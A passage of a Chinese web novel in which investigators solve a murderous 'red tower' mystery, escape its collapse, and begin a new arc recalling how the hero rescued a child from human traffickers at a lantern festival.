越往深走,温余就越能闻到一股腐臭的味道,好似是放了许久的搜饭,又好似是未来得及清理的茅房的味道。
着实是恶心人得很。
温余不住捂住口鼻,无法接受这气味,但身边的褚月却丝毫没有被这气味影响一般。
“你怎么发现的?”为了让自己不要这般注意气味,温余向褚月询问方才发生的事情,是如何找到的密道,从密室里拿走了什么东西,以及又一次回来找自己的原因。
褚月一边往前带路一边回答温余的问题:“我来这里就是为了查清楚这楼里的秘密。”
“所以从进入这座楼时就一直在找?”温余问,“还有宁千山,你们是一伙儿的?”
褚月笑了,“别说那么难听嘛,我只是想和他做一笔交易。”
温余有些控制不住地想顺着她的话问下去,但又想到眼下的情形,只得压下好奇,问:“你们来这里可有其他发现?”
褚月摇头:“除过这个密道还有这里的人,我们再没有找到什么东西。不过……”
她顿了一下,“我找到了一件对你们来说很重要的东西。”
“什么东西?”直觉告诉她,这对他们来说很重要的东西应该就是她之前从密室里拿出来的东西。
但褚月依旧卖了关子:“这个就要等一切结束后看那位贺大人是否能完成和我的约定了。”
温余诧异道:“贺大人?!”
褚月轻笑一声:“这就要去问你的那位贺大人了。”
温余心中微动。自从湖州一行,她对贺扶几乎是毫无保留,只要她知道的消息,她都会告诉贺扶。特别是来到这楼里,四面楚歌,她认为只有将消息互通才是最保险的方法。可听褚月的意思,贺扶竟是有什么瞒着自己的。
会是什么呢?他答应了褚月什么东西?还有……
为什么要瞒着自己?
虽然温余也知道有些事情许是来不及说,又或是没有必要。她更知道贺扶是不会抛下自己,不会伤害自己的,但听贺扶和旁人有无法言说的秘密时,她竟觉得心中有些……吃味?
怎么会这样呢?
分明知道缘由,还会有这样的感觉……
“呦……”
褚月借着温余手中微弱的火光看到她将另一只手放在心口,神色颇有一种过来人的模样,“吃醋了?”
温余立刻摆手:“我没有。”
褚月开赌坊多年,见过的郎情妾意海誓山盟多了去了,她自己经历的也数不胜数,除过赌钱的本事,就这看人感情上她最为自信了。
就算是情场老手在她面前都无处遁形,更别说情窦初开的温余了。
“放心,只是些无关紧要的交易,只要你去问,想必他也不会对你隐瞒的。”
褚月的安慰并没有让温余觉得好受,相反却让她更羞耻了,真想找个地缝钻进去。
“我们快走吧,快走。”
两人顺着路往前走,越来越开阔,最后来到了一处伸手不见五指的地方。
温余不由好奇着楼的构造,又是密道又是狗洞的,不知何人有这般精力去建造这样的地方?只单单是为了做弄人?
温余将手中的火折子举高了些,暗处伏在地上的那人似乎是感受到了远处带来的风,登时剧烈地挣扎着,绑住手脚和脖子的铁链响起闷闷的碰撞声。
“什么东西?”温余被吓得一激灵。
“崇安县令。”褚月回答。
“你为何被绑在这里?”温余将火折子凑近了些,定睛一看便被吓了一跳。
只是单从远处开,还多少能看出个人样,此刻凑近了却是让人冷汗直冒。
面前的这张脸……不,应该已经不能被称之为脸。正常的脸是平整的,有五官的,可面前的这东西双眼处是两个大大的血窟窿,仔细看还能看到森森的白骨,鼻子被割掉,嘴巴张得极大,能十分清晰的看到口腔内的一片血肉模糊。
他的舌头也被割掉了。
“他听不到人说话。”褚月提醒。
温余头皮发麻,五感尽失,这样就算是活着,对他而言也只是一种煎熬了。
是什么人把他关在这里的?又是为什么将他关在这里?
不知为何,温余忽然想到了谢旧之前说过的一句话。
上一个从这楼里全身而退的人,是一位官员的私生子。
他说的那位官员可就是面前的这人?
“你是如何认出他的?”温余有些奇怪,这人都面目全非了,褚月竟还能这般确认他的身份。
“他这张脸,化成灰我都记得。”
褚月说得愤愤,温余意识到这背后应该还牵扯到更多的事情,权衡之下她觉得先回去找贺扶。
贺扶看着谢旧,宁千山看着尤眠,自己来这里等褚月。
温余正要往外走,却被褚月拉住。
“怎么了?”温余回头,却对上一张似笑非笑的脸。
褚月语气有些森然:“我可没说过要和你们合作啊,自始至终我的盟友只有一个。”
温余背后起了一层冷汗,“你什么意思?你不是说一切结束之后你和贺大人还有交易吗?”
“对啊。”褚月点头,“那交易是一切之外的,与这里的任何人都没有关系,所以……”
褚月停住了,温余心中却更悚然,“你想要做什么?”
“没什么,你也不用担心,因为我不会伤害你。我只想要把我要做的事情做完,之后我自然会放你离开。”褚月的笑收回。
“这里不适合说话,我们还是先出去吧。”褚月转过头,“带着他。”
温余也顺着她的目光看过去,要怎么带?
让她带?
褚月带着温余,温余背着那人一起回到那个满是镜子的密室,温余看着四面八方熟悉的脸孔只觉得脑子有些发晕。
“我现在就要待这里?”温余将背上的那人放下,丝毫没有在意身上的血污。
“对。”
“那你呢?”温余继续问。
“我要再去找些东西。”
她现在在暗处,若是不刻意寻找没有人会发现她的踪影,更何况她既然敢来那就一定是做了完全的准备,以她对这楼中的熟悉程度,贺扶怕是很难将她抓住。
除非……
褚月离开,顺便带上了门。
温余扶额,自己被关在这里了,不知贺扶能不能找到自己。<
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她闭了闭眼,若是这里有比褚月更为了解这红楼的人就好了。
比如,这楼里的主人?
念此,温余不由叹了口气。
这楼里的主人又为什么会帮自己呢?
忽然,温余感到手指一阵濡湿,她下意识地收回手去看,只见那人正奋力往自己这边爬。
刚刚的濡湿感,是他手上的血迹。
“你……”温余仔细观察了他一下,有些不确定地问:“你是有什么话要和我说吗?”
说完,温余才意识到面前这人听不到别人说话,只好凑近了些去看他。
他的手筋已经被挑断只能用尽全身力气去往怀里放。
温余看懂了他的意思,上前将他翻了个身后挑开胸前的衣服。
“抛——妻——弃——子”
温余费力辨认着他胸前被用刀刻上的字,得出结果后抬眼看向男人。
他双手以一种诡异的方式摇摆着,仿佛是坏掉的木头娃娃,骇人得很。
温余秀眉微蹙。
抛妻弃子?可据她所知这崇安县令应该只有一个私生子,除过这些对自己的正房是万分宠爱的,就连“去世”后也是将家财都留给了妻儿。
怎么会抛妻弃子呢?
难道这其中另有隐情?
温余将一切都重新梳理了一遍,这所谓的“私生子”莫非才是他真正的孩子?
……
“贺大人,您莫不是打算就这般看我一宿?”谢旧面露不悦。
贺扶坐在桌边斟了一杯茶,“谢公子还是不愿意承认吗?”
谢旧问:“承认什么?您莫不是认为那柳敏娘是我杀的?您可要知道,我们三个人是一起走的,我有没有时间动手您还不知道吗?”
贺扶放下茶杯,“贺某是说,谢公子的真实身份。”
谢旧顿了顿,“如您所见,我只是一个普普通通的香料店老板罢了。”
贺扶站起身将放在一边的木匣子拿过来,将那雕刻了花纹的一侧向他展示出来,“这样的雕工着实精致,不知谢公子可眼熟?”
谢旧只看了那匣子一眼,“没见过。”
贺扶不急不缓地打开盒子,从其中拿出一块桃花状的木雕,“那这个呢?”
谢旧一眼便认出来那是之前温余送他的那块木雕。他下意识地摸了摸胸膛,空空如也。
“不知您能否为贺某解释,这木雕是如何在我们所有人之前进入那个密室的?”贺扶歪了歪头,这东西早在他跟着褚月进如密室时就发现了,只是按下不表,等着谢旧的下一步动作。
谢旧没有说什么。
“红楼杀人的传闻听起来可怖,一夜之间能让八人尽数丧命也着实厉害,不少人猜测这是一座鬼楼,又或是这里的主人是个绝世高手。一开始我也这样认为,所以在进入红楼时下意识地怀疑还那位一言不发的黑衣人,可没想到他是第一个死的,而且是被宁千山杀的。”
“所以,事实却并非如如众人猜测的那般。红楼的主人不用杀人,甚至不需要会武功,他只需要隐藏在人群中,顺水推舟将看似毫无关系的宾客之间的恩怨一一点破,他们就会自相残杀。”
“您说贺某说得对吗?谢公子?”贺扶面上带着笑,又忽然改了口,“不对,贺某或许应该叫你为,郑愈,郑公子。”
52. 红楼案(十三)
谢旧原本摇着扇子的手一顿,“别叫我那个名字,让人觉得恶心。”
“您这是承认了?”贺扶面上依旧温和,似乎一切都在他的掌控之中。
“你是如何得知的?”谢旧也没有丝毫慌乱。
贺扶轻笑:“自你说出那位唯一从这里全身而退的私生子的时候。”
他早在第一眼见到谢旧时就觉得他有问题了,那只有一面之缘的小丫头也怕是藏着功夫。故而他在住进客栈的那一晚就已向那里的老板表明了身份,并询问了当地近年来发生的事情。
得到了那位“横死家中”却不见尸首的前任县令郑钧义的消息时便多加留意,直觉告诉他那场凶案绝对还有没被发现的细节。而在听到谢旧提起那位私生子时,他就几乎确定谢旧的身份,奈何人在屋檐下,且证据不够只得按下不表,等待时机。
如此,时机已经到了。
该做个了结了。
“就因为这个?”谢旧随意地展开扇子,仿佛只是在聊家常,亦没有丝毫惧怕的意思。
“还有这个。”贺扶看向手中的木雕。
谢旧叹了口气,“好吧,我认输,你接下来要怎样?”
贺扶忽然变了神色,这一切会不会有些太顺利了?他竟承认得如此之快,而且没有丝毫反抗的意思。
难道还有后手?
“怎么?不打算先把我抓起来?”谢旧神色淡然,眼中甚至显出些玩味的意思。
贺扶忽然想起那位跟在他身侧的小丫头,有那般功力,定会一步不离地守在谢旧身边,那此时,她会在何处呢?
果然,贺扶只一抬头屋外便响起一声巨大的响动。
莫不是温余她……
贺扶心中一颤,一刹那仿若晴天霹雳。他不由懊悔,自己不该将温余单独留着,应该将一切都告诉她。但他只是想着省事,让温余去和躲起来的褚月交流,竟是变了法的将她往危险处推。
他顾不上坐在塌上的谢旧,转身夺门而出,谢旧也缓缓起身,亦步亦趋地跟在贺扶身后仿佛是要去看一场好戏。
贺扶出门看到楼下的场景后不住一颤,楼下的不是温余,而是仰面朝上,双目瞪大的尤眠。
他死了,被摔死的?
贺扶心中生出无尽的疑惑,想去找宁千山却没见到宁千山的半点影子。
“怎么样,这处戏没想到吧?”谢旧走到贺扶身边。
贺扶回头,“你还有同谋?”
“当然,狡兔三窟,我怎会不留半点后手呢?”谢旧道。
贺扶心中盘算着,忽然冒出一个可怕的想法。
宁千山不见了,宁千山是跟着褚月来的,而褚月为什么会知道那个密道?只单单靠打听吗?那为何这些年有那么多人受害就没有谁能得知楼中的消息?
除非是背后有人告诉她,而最为了解在座楼的人,正是眼前的这人。
难道他和出褚月也有联系?
“褚月。”贺扶还是说出了这个名字。
谢旧笑了,“果真聪明。”
“温余在哪儿?”贺扶更为担心了。
让温余去和褚月交涉,无非是羊入虎口,此刻也没有半点动静,怕是已入险境。
贺扶心中愈发懊悔,都是自己过于自负。
若是温余出了事……
贺扶几乎不敢往更深处去想。
“这个就要问褚月了。”谢旧自得道,“这样的反转,可还精彩?”
“你究竟想做什么?”贺扶深呼一口气,此刻不能慌乱,要镇定才能得出破解之法。
“你猜猜这红楼经营了这么多年,为何今年忽然就出了一个韩犹息跑去京城报官了?”谢旧语速极慢,“因为我这次的目标只有你啊,绍王府的独子,贺扶,贺大人。”
贺扶眉角一跳,他刚刚说的不是大理寺,而是绍王府。他是剑兰花纹组织的的?
“你一直都很疑惑你父母是因何而死,还有这组织的背后究竟是得了谁的授意,是吧?”谢旧拿出一副好言谈判的模样。
贺扶反问道:“与你有关?”
不可能,面前这人年岁看起来是比自己要小上些的,绍王府惨案定然与他无关,那他又是从何而知的?
果然谢旧摆了摆手,“自然与我无关,但这幕后凶手却与我有关,与你……”他顿了一顿,露出一个意味深长的笑来,“也有关系。”
“是谁?”贺扶问。
谢旧却摇头:“你不会想知道的。”
“什么叫我不会想知道?”贺扶心跳的愈发快,他不会想知道的,难道是这背后之人是与他亲近之人?
与他亲近,幸安、章执、尚卿还是当今的圣上?每一个人都曾是他全心信任之人,幸安救他于水火,如师如父,章执即使与幸安决裂但仍将他视作亲身手足,而当今的圣上更是父亲的结拜兄弟,怎会害他?
虽说宦海浮沉,生死只在一念,但他仍相信圣上不会是这般无情的人。
幸安和章执更不可能。
贺扶摇了摇头,让自己不去想这些,说不准这只是谢旧的计谋,只想让自己方寸大乱然后一击毙命。他不能上当。
但怀疑就如同一条细小的蛀虫,只要出现就会一点点蚕食掉人与人之间的信任。
贺扶暗暗定心,还是眼下之事最为重要,灭门一事当等到出去后再调查清楚。
绝对不能自乱阵脚。
“你究竟要做什么?杀我?将当年的绍王府斩草除根?”贺扶从思绪中抽身。
“虽然已经说了很多遍,但我还是要说一句,聪明。”
折扇合上的声音和谢旧的声音一同落下,霎时贺扶感到背后袭来一阵带着杀气的风。
他转头,不知从哪里出现的宁千山正将刀高高举起,往自己这边劈来。
谢旧站在一旁,好整以暇地准备看戏。
第二场对决,上次有那碍事的丫头捣乱没能分出个胜负,这次他便能安安静静地看场好戏了。
刀刃自贺扶脸边擦过,留下一道淡淡的血痕又削下一缕鬓发。
“宁壮士,莫要被他人利用。”贺扶一边化解宁千山的招式一边劝说着。
宁千山充耳不闻,“抱歉,受人所托。”
贺扶又劝说几句无果后,只能转心应对宁千山的招式。
大开大合的招式,急切唬人,但难免会出纰漏。贺扶看准了宁千山出刀的空隙上前钳住他的大臂,“宁壮士,我只你嫉恶如仇,但切莫冲动。”
宁千山无法将刀收回,只得扔下刀与贺扶肉搏。
力量的身形上的绝对压制,
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贺扶不久便落了下风。
“宁壮士,可是受褚姑娘所托?”贺扶气息浮动。
听到褚月,宁千山似乎有一瞬间的停顿,但很快便回神使力将贺扶往地上压。
一番缠斗贺扶几乎失了力气,他瞥了一眼站在一边的谢旧,略一思索后顺势倒在了地上,宁千山拳头停在半空。
“为何不躲?”宁千山道。
贺扶面容疲惫:“既注定要输,便不做无谓的挣扎了。”
宁千山眉头竖起:“既然要打便痛痛快快打一场,半路撂挑子不干,懦夫!”
贺扶没有说话,只是对着谢旧:“贺某认输,要杀要剐请便,只是想在死前确认温余可还安好?”
谢旧似乎也没想到贺扶会突然认输,只顿了片刻后便开口道:“此刻必然安好,只要等你死了,我便杀她灭口。”
“既如此,那宁壮士便动手吧。”贺扶闭上眼,一副任人宰割的模样。
宁千山却在谢旧带着笑意的注视下放下了手,“你竟这般随意?”
“如何随意?”贺扶明知故问。
宁千山道:“我还当你是为义士,未曾想竟是这般胆小的小人。分明还有回转的余地,为何要认输?若是我,定要拼个力竭才罢休。”
“我竟是看错你了。”
宁千山哼了一声,似是不屑于贺扶多言。
谢旧看他停下,脸上的笑意瞬间消失殆尽,他冷然道:“你为何不动手?”
宁千山没有说话,谢旧却有些着急了,“他就在你面前,为何不杀了他?你忘了我们之间的交易了吗?”
宁千山眸光微动。
“只要杀了他,你们想要的都会有。”谢旧继续劝说着。
宁千山往前走了几步,贺扶感受到了地面的颤动,放在身侧撑着地的手缓缓握起。
他在赌,赌褚月真正的谋算。他不觉得褚月会将所有的赌注压在谢旧一个人身上,赌者,是最懂得下注的。
现在,他表现得越配合便显得越反常。
空手套白狼,这还是他在温余身上学到的。那次她与圣阳相对,如何能在实力比自己高出大半的人手中讨到好,就是靠这一招。
情急之下,他只能用这招了。
若是他没猜错,褚月此时应该正在暗处看着,观察局势,巧妙下注,像是在赌坊一般。
宁千山愈发靠近,刀刃明晃晃地悬在贺扶额上三寸。
只要一下,就可以将他的脑袋从中劈开。
但他却在宁千山的动作中看到一丝迟疑,贺扶暗暗勾了勾唇角。
看来,他赌对了。
谢旧也在此时意识到了不对劲,但还未等他反应便感到脖颈被什么东西勒住。
——一根红色的绸缎。
宁千山见了来人,立刻收回了刀,声音沉沉:“你做出选择了?”
方才的迟疑退让,就是在等褚月的动作,若是她不出手拿便是将赌注压在谢旧身上,他便动手杀了贺扶。不过是一个官员,大小都一样,他从来不在乎这些。就算是死了,也是帮了褚月一个忙。
她若是出手,那便是压贺扶,他自然也听从。
他没有任何打算,也没有任何目的,他回到崇安,来到红楼只是为了一件事。
——帮她。
53. 红楼案(末)
谢旧被制住了命脉,宁千山也在一旁虎视眈眈地盯着他。他只好笑了两声:“好一个双方下注啊,不愧是这崇安城中赌术最为高超的褚老板,佩服佩服。”
说罢,他又看向贺扶,道:“不过贺大人切莫高兴得太早,她既能反水帮你,自然也能再次反水杀你。和赌徒交心,你可要小心啊!”
贺扶全然无视:“温余在何处?”
“她在一个很安全的地方。”褚月回答。
“何时将她放出来?”贺扶还是担心,只要温余一刻不在他身边,他的心便提了起来,生怕她受伤。
说来也奇怪,对启蛰,他好像从未有过这样的情绪,但此刻他也来不及细究。
褚月道:“当然是等我们彻底安全后再说。否则我不是什么底牌都没有了?”
贺扶双唇抿成一条直线,无言。
要快些将这人送出去。
“你们不打算理理我?我说,褚老板,你可否同我说说是如何压的注?为何在我的地盘上选择帮他?”谢旧不依不饶地提着问题,但面前两人皆心事重重,无暇顾及他的话。
“那贺大人,您真的相信她的话?你不怕她骗你?我可是将一切都告诉她了,只要她想,我们两个都跑不了。”
“不如我们换一换,我和你结盟,如何?”
……
“你们都不理我?是不屑还是……害怕?”
宁千山就坐在谢旧身边,见他嘴半晌不停便扯了衣摆塞住他的嘴。
谢旧很自然地吐了出来,“这招也太老套了吧?”
他眯了眯眼,眸光不善:“既然如此,你们真的以为这样就可以结束了吗?”
贺扶和褚月转头看他。
谢旧笑了笑道:“我说了狡兔三窟,我还有最后的手段。”他直勾勾地看向贺扶,“只要你死,哪怕……”
他唇角是危险的笑,“我也和你一起死。”
一阵带着癫狂的笑后是凌厉的一句:“还不动手!”
霎时,地面和墙壁都开始摇晃,一块块的木板从房梁上砸下。
贺扶灵巧地躲避着落下的重物,宁千山护在褚月身上,石子木板尽数落在他宽阔的背上,但他却没有丝毫惧色。
“他想同归于尽!”褚月喊道。
这楼本来就建在悬崖边,能坚持到现在定是用了什么法子将它固定住,若是有人将这法门破了,这楼怕是要和这块悬崖边的巨石一同落下。到时候,谁都活不了。
贺扶急忙喊道:“温余在哪儿?!”
这似乎是他生来最用力的一声叫喊。
褚月借着宁千山稳住自己的身子,“在之前那个密室里。”
密室……
得了地点,贺扶立刻往密道里走,本就逼仄的密道在摇晃下更加难以通过,他一手挡着下落的石块,一手往前探着。
没有光亮只能靠着感觉往前摸索。
不行,温余不能出事,若不是他将温余一人留在房间里,便不会发生这样的事情。
他一定要将温余安全送出去。
贺扶搬开挡在路上的一块巨石后想继续往前摸索。
但狭窄的空间完全没有空气的流通,尘土更是争先恐后地往他口鼻里钻。他只觉得脑中混沌,除过一个念头指引着他往前走外再无任何意识。
不知过了多久,不知他走到了何处。
他终是力竭倒在了地上。
眼前一片漆黑。
一片漆黑过后,又是一片火红,是血吗?还是……火。
是火,是那日的火。
一片火海中他又看到了那张熟悉的脸。
妇人抱着他,他只感到一阵颠簸。
她叫喊着:“来人呐,救命啊!救救我的扶儿,救救他!”
原本温婉大气,哪怕是一身狼藉都不会丢掉礼仪的妇人此刻珠花散乱,在火海中奔走。
“老爷,你在哪儿?!快来救救我们的扶儿!”
很快,妇人看到了自己的丈夫。
熟悉的正堂上方挂着一块“世代忠良”的牌匾,乃是当今圣上亲赐。牌匾下,是早已失去气息的绍王。他就站在那里,手中的剑支撑着他,方才不会倒下。
妇人似乎失去了所有的期望,奢求,大叫一声后就想往府外跑。
但已经来不及了。迎面撞上的,是一位穿着黑衣的面具人。
那面具重工重彩,但却让人看了胆寒。是藏羚羊的模样。
面具下,是妇人极为熟悉的一双眼。
她唇不断地颤抖着,似乎不敢相信面前人的身份:“为什么?为什么是你……”
那人没有说话,将长剑对准妇人的脖颈,闪身间,之余一阵绝望的呜咽。
那火不知少了多久,蔓延了许多户人家,亦有不少人在火海中丧命。
贺扶眼前忽然出现了一片暗紫色的衣角。来人神色匆匆,又带着些悲痛不忍。
恍惚间,贺扶叫出了那人:“幸伯父……”
……
“幸伯父,幸伯父……”
贺扶猛得坐起,只见一张熟悉的脸出现在自己眼前。
“师兄?”
章执面色凝重,身旁的黑衣侍卫正在他身侧撑着伞。
“醒来便好。”
贺扶这才意识到自己正从一片废墟中醒来。那座楼,塌了。
“你既无事,我便去审问犯人了。”
章执转身离开,没有留下一句解释。
他为何会过来?在贺扶晕倒的这段时间里发生了什么事?还有他说的“犯人”是……谢旧?
忽然,贺扶感到周身一寒,仿佛全身的血液在这一刻凝固。
温余呢?
他还活着,那温余去哪儿了?
他利落地翻起身来不顾身边侍卫的阻止在废墟中翻找着。
一边找,一边问:“你们有看到一个姑娘吗?你们有找到一个姑娘吗?”
一句句的询问换来的始终是沉默。
“贺大人您先冷静,您受伤了,还是早些回去休息。”一侍卫上前想要拉住贺扶,却被贺扶用力甩开。
“快找,快找啊!”
侍卫愣在了原地。在他的记忆中,贺扶说话从来是温然的,从未像今天这般急躁,大声。
这是……怎么了?
贺扶不停在废墟中翻找着,雨滴自脸颊滑落。他从未如此狼狈过。
找了很久,原本如玉如葱的手指沾满了血迹和污垢。
贺扶还是没有停下。
直到一声叫喊从周边的林中传来:“贺大人!”
贺扶双眼瞬间变成清明。
他站起身循着声音望去,温余正好好地站在一颗树下,胸膛起伏,像是跑得急了。
“贺大人,你没事吧……你怎么这么……”
温余迎上前,还为将话说完便被贺扶一把揽进怀中。
“你去哪儿了?”贺扶的声音有些颤抖。
温余
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被这大力的一抱弄得有些懵,一时不知该做什么,等她反应过来时才慢慢举起了空着的一只手,虚虚搭在贺扶颤抖着的背上,一下一下拍着:“没事了,没事了,别怕……”
等贺扶冷静下来后,放开了温余。
两人相对,半晌无言。
“对不起。”
“对不起。”
异口同声的道歉让气氛再次来到一个微妙的节点。
“我不该将你一个人留在那里,是我过于自负了,我日后不会再让你陷入这般险境,我发誓。”贺扶举起右手郑重发誓。
温余看着他一脸肃然的模样,心中有些发虚。
“其实我阴差阳错找到了一条出去的路,本想着返回去告诉你们的,可是这东西忽然滚没影儿了,我去追。刚刚追到就听到巨大的一声响,刚刚才跑回来。”温余低下了头,“是我没告诉你就乱跑,应该道歉的是我。”
说着温余将手中拿着的东西递到贺扶面前,一脸兴奋道:“您看这是什么?我是我从密室里找到的面具,是不是和之前那个面具人的很像?”
她又仔细看了一遍,“不过那人的是猞猁,这个却是麋鹿摸样的。”
见贺扶半晌没有开口,温余抬起头去看他。
“贺大人?”
贺扶接过那面具,看了半晌后放下。
“没事就好,我们先回去吧。”
温余等着贺扶先走,但贺扶却没有动作。
一滴血自贺扶的额角流下,雨势也渐渐大了。
“我们还是快走吧,回去寻个大夫。”
温余拉着贺扶的胳膊,坐上了章执带来的马车,回到崇安城中。
……
入夜后,街上满是潮湿泥土的气味。
街边的红灯笼摇摆着,滴着水的屋檐下是一盏昏黄的灯。
更深露重,不免有些凉意,幸安本就腿脚不便,又赶了许多天的路,更是难捱。
但他依旧快步往屋内跑,守在身边的小厮在慌乱中帮他脱下了披风。幸安直奔床上敷药的贺扶而去。
“蓁丫头,阿扶可还好啊?”幸安面色凝重。
自他教导贺扶以来,就没受过这般重的伤。
温余擦了擦手:“刚刚敷了药,好在没什么大问题。”
幸安松了口气:“没事就好。”
“那你呢?可有受什么伤?”幸安上下看了温余一圈儿,确认没什么事后心里的石头是彻底落下了。
“您为何忽然来此?”温余有些好奇,一件红楼案,章执和幸安都来了。
幸安上前按下想要下床行礼的贺扶,坐在床边上解释道:“吾自然是担心你们两个出事了,这才急急忙忙赶了过来,未曾想还是迟了一步。”
贺扶轻咳一声,因为头上顶着一个巨大的草药包没办法有大动作,只能安然地躺着,他道:“师父放心,方才师兄已经去审问犯人了,应该很快就能有结果。而且……”
贺扶迟疑了一瞬,谢旧说过的话似乎又在他耳边想起。
你不会想知道的……
“这件事似是与那剑兰花纹的组织有关,我们在红楼里找到了这个。”
贺扶示意温余将面具拿上来。
幸安接过面具后眉宇间可见愤愤,“竟然又是他们……”
紧接着又是看向贺扶的庆幸,“不过你没事就好,没事就好。”
贺扶收敛眉色,幸安的神色无异。只希望谢旧的那番话只是信口胡言吧!
54. 红叶观(起)
“吾这次来,还有一件事。”幸安忽然提起,“你可知过几日是什么日子?”
贺扶只略微思索后便答道:“红叶灯节?”
幸安点头。
“红叶灯节?是和贺大人您之前提到过的红叶观有关吗?”温余问。
是了,之前贺扶曾提到过的红叶观在每年的中秋后一天都会举办灯会,场面之大,前来观灯之人无一不赞叹。此节本是那位太子羽化之日,经过时间推移竟也成了一个固定的节日,也有不少官员雅士前来参加,幸安好盛景,自然也未曾缺席一次,每年这个时候都会来此。
贺扶自然也是知道的,而今年正是恰巧碰上贺扶前来查案。
“我已经在山上安顿好了,明日吾便派人来接你们。”
贺扶拒绝道:“弟子还有要事,怕是要再过些天了。”
幸安也没多问,站起身后拿过面具道:“那便过些日子再来,吾就先将这东西拿走了。”
送走了幸安,房间内就只剩温余和贺扶两人。
“您方才说的要事,可是启蛰的下落?还有您和褚姑娘……”温余趴在床边一股脑将自己这些日子的疑惑尽数问出来。
“对了,褚姑娘和宁千山他们去哪儿了?若是谢旧被抓,那其余人呢?”
贺扶看着面前带着求知眼神的温余,隔了半晌后还是选择卖了个关子:“今日不早了,还是先休息吧,明日我带你出去一趟,你便什么都知道了。”
温余慢吞吞地点头,她是真的好奇。
她站起身往外走了几步,但很快便又折返回来:“贺大人,我还是好奇。”
她凑在贺扶身边,用手轻轻摇了摇他的衣袖,“您就先告诉我吧,好不好?”
贺扶暗叹一声,“罢了,先扶我起来。”
温余听话的将贺扶扶起,见他坐起身想要拿下额头上的药包,温余立刻伸手阻止:“不可以,大夫说了要多敷一会儿的!”
贺扶笑道:“无事,本就伤得不重。”
“有事!”温余气鼓鼓地反驳,“若是留了伤,那可就是美玉留瑕,可惜死啦!”
贺扶“哦”了一声,“可是我这脸上留了伤,阿蓁便不愿见我了?”
“这倒不是,就是……”温余自然也想不出什么话来,只能直接道:“不行就是不行!要听大夫的话!”
她轻轻将药包抵住,“这样就可以了,您说吧!”
贺扶也是无奈,只好由着她的动作。
“你可知启蛰的身世?”
“当然知道,葛巾之前同我说过,他是您从外捡回来的。”
温余心想贺扶与褚月的交易可是与启蛰有关?但上京与崇安未免有些太远了吧?
“没错,那时应当也是在这样的日子,阴雨连绵,我和师父一同来此处观灯。”许久未曾说起,忽然一回顾竟让贺扶生出些回首往事的感慨来。
那时的贺扶不过十几岁,年少成名,丰神俊朗,乃是许多姑娘家都心向往之的好夫婿。一身青衣走在街上,手中拿着幸安硬要买来送他的螃蟹灯,频频引人侧目。
中秋将至,街上熙熙攘攘,叫卖声、敲打声不绝于耳。在一众摊贩中,贺扶定目在围作一团的人群中。
那中间似乎是摆着几个笼子,贺扶曾见过上京灯会时贩卖小宠的商贩自然而然的认为这也是一样,于是便上前去看。
但这一看,却让他顿住了。
那笼子中买的不是飞禽走兽,而是一个个活生生的人!
有男有女,有中年有少年。每个都被铁链拴着,像是商品一样供人挑选。
当时,那商贩正笑眯眯地结果一位大腹便便的老爷的钱,身边的笼子里锁着的是一位即使灰头土脸依旧能看出姣好容颜的少女。
贺扶的眉头瞬间皱起,怎能这般胡闹?
“住手!”
他上前,用空着的手把住那买家的手腕,“左晋律法,岂能随意买卖人口?还敢在众目睽睽之下,果真嚣张!”
看到面前这带着怒意的贵气公子,那买家似乎生了惧意,回头想走,但那卖家却是个见过大世面的,怒而反驳道:“你是什么人啊?敢多管闲事?你可知我是谁?我这生意做了这般就,倒是每一个敢管老子事的,你看着是个外乡的吧?劝你快点滚!省的惹火上身。”
贺扶松开手将那想逃跑的男人放开,对他道:“买卖同罪,望你日后有悔过之心,今日就先放过你。”
男人被唬住,连连道是后退开。
“嘿!听不懂人话是吧?”卖家一下一下用钱袋打着自己的手掌,语气不善,“你要是想多管闲事,你出钱把这些人都买了不就成了?我看你应该也不是什么穷人,肯定买得起吧?”
“我方才说过,买卖同罪,此事本就是错,你要做的应该是金盆洗手。”贺扶当然不愿去买,可不能去买。
钱,他自然是不缺的。但若是他为了救眼前的这些人开了这个口子,那岂不是助长了这些人的气焰?无论是有心相助之人还是心怀恶意之人,只要愿意付钱,那这样的卖家便能得利。既能得利,管它是是非非,都会有人去做。
他不可能做这样的事情。
唯有彻底断了这些人的财路,杀鸡儆猴才能让这些人不再做这样的买卖。
“你就是非要找事了?”卖家面露凶光,不知从何处抽出一把短刀就像贺扶劈来,“找死!”
贺扶侧身躲过,在围观众人的惊呼中闪身、侧扫,很快就将这人控制住了。
“打得好!”、“再来一遍!”、“这种人就该打!”云云的喝彩声不断,其中也不免夹杂着“坏人财路,未免有些太过分了吧?”
但很快就被其他人反驳:“要是今天笼子里装的是你老娘女儿你就开心了!”
“你知不知道我是谁?你信不信我找人杀了你!”卖家叫嚣着。
但还未等他放更多的狠话,幸安便带着人前来了。
见到幸安,众人纷纷怯怯后退,就连方才嚣张至极的卖家也闭了嘴。
幸安一脸微笑地上前,轻轻搭上那人的肩膀,柔声问:“你方才说,要杀谁?”
虚虚搭在肩上的手骤然收紧,卖家额上冷汗直冒。有疼痛有恐惧,面前这人一袭紫衫,看着素雅,虽是一派笑相,但眼底却是上位者生来便有的气势,以及一些细不可察的……狠厉。
“我不敢了,我再也不敢了……”卖家彻底慌了,连连求饶。
之后,贺扶将此处发生的事情告诉幸安,幸安便笑着将这人带走拷打,以揪出其背后的同伙,一网打尽。
围观的众人也在幸安离开后散作鸟雀,贺扶上前将笼子打开,放出了那个被锁着的少女。
“别怕,你安全了,稍后去同山客栈领些银子,日后的生活还是要靠自己。”
男人语气温柔,少女的双眼不由变得湿润,扑通一声跪在地上,“多谢公子的大恩大德,小女子当牛做马也愿报答公子!但小女子还有大仇未
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报,无法追随公子……”
“不必,我救你出来别无所图,你领完银子就可以走了。做些小生意也好,寻个可靠的人家嫁了也好,前路漫漫,且遂你自己的意愿去做。”
少女热泪盈眶,转身看向另一个笼子,那里面锁着的是一个只有四五岁的小童。
“但,小女子还有一事相求!”少女又道,“那笼子里的是我的弟弟,他生了病,我只身一人怕是无法将他带大,不知公子是否能将他带在身边。”
似乎是怕贺扶拒绝,少女又补充道:“我可以不要银子的!”
贺扶将那小童抱出,感受到怀中的滚烫,他微微皱眉。
这孩子怕是发了高热,危在旦夕。
“不必如此,我答应你将他带在身边,若有朝一日你想将他寻回去可凭此玉前来寻我,好让你们姐弟二人重逢。”
贺扶递给少女一块翠玉,算是信物。
少女接过玉后向贺扶郑重一拜后道:“家父家母去世的早,还未给他取名,还请公子赐名。”
贺扶看着孩子通红的脸,淡淡道:“阳和启蛰,品物皆春,只希望这孩子日后同春日般生机勃勃,那便叫他……”
“启蛰吧。”
……
